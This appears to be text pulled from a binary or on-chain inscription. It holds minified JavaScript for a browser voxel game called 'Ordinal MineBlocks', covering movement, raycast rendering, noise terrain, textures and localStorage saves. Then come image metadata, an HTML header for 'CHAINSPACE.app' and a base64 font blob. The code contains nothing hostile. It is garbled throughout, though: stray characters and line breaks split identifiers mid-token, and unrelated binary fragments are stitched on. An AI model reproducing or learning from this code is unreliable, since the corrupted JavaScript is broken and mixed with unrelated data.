=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumeM
ntID="xmp.did:5D53D1529F6311ED9B0BDB0B9C2B559A" xmpMM:InstanceID="xmp.iid:5D53D1519F6311ED9B0BDB0B9C2B559A" xmp:CreatorTool="Adobe Photoshop CC 2019 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4D0964809F6311ED9B0BDB0B9C2B559A" stRef:documentID="xmp.did:5D53D14A9F6311ED9B0BDB0B9C2B559A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>V
59.37.100 libvpx-vp9g
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
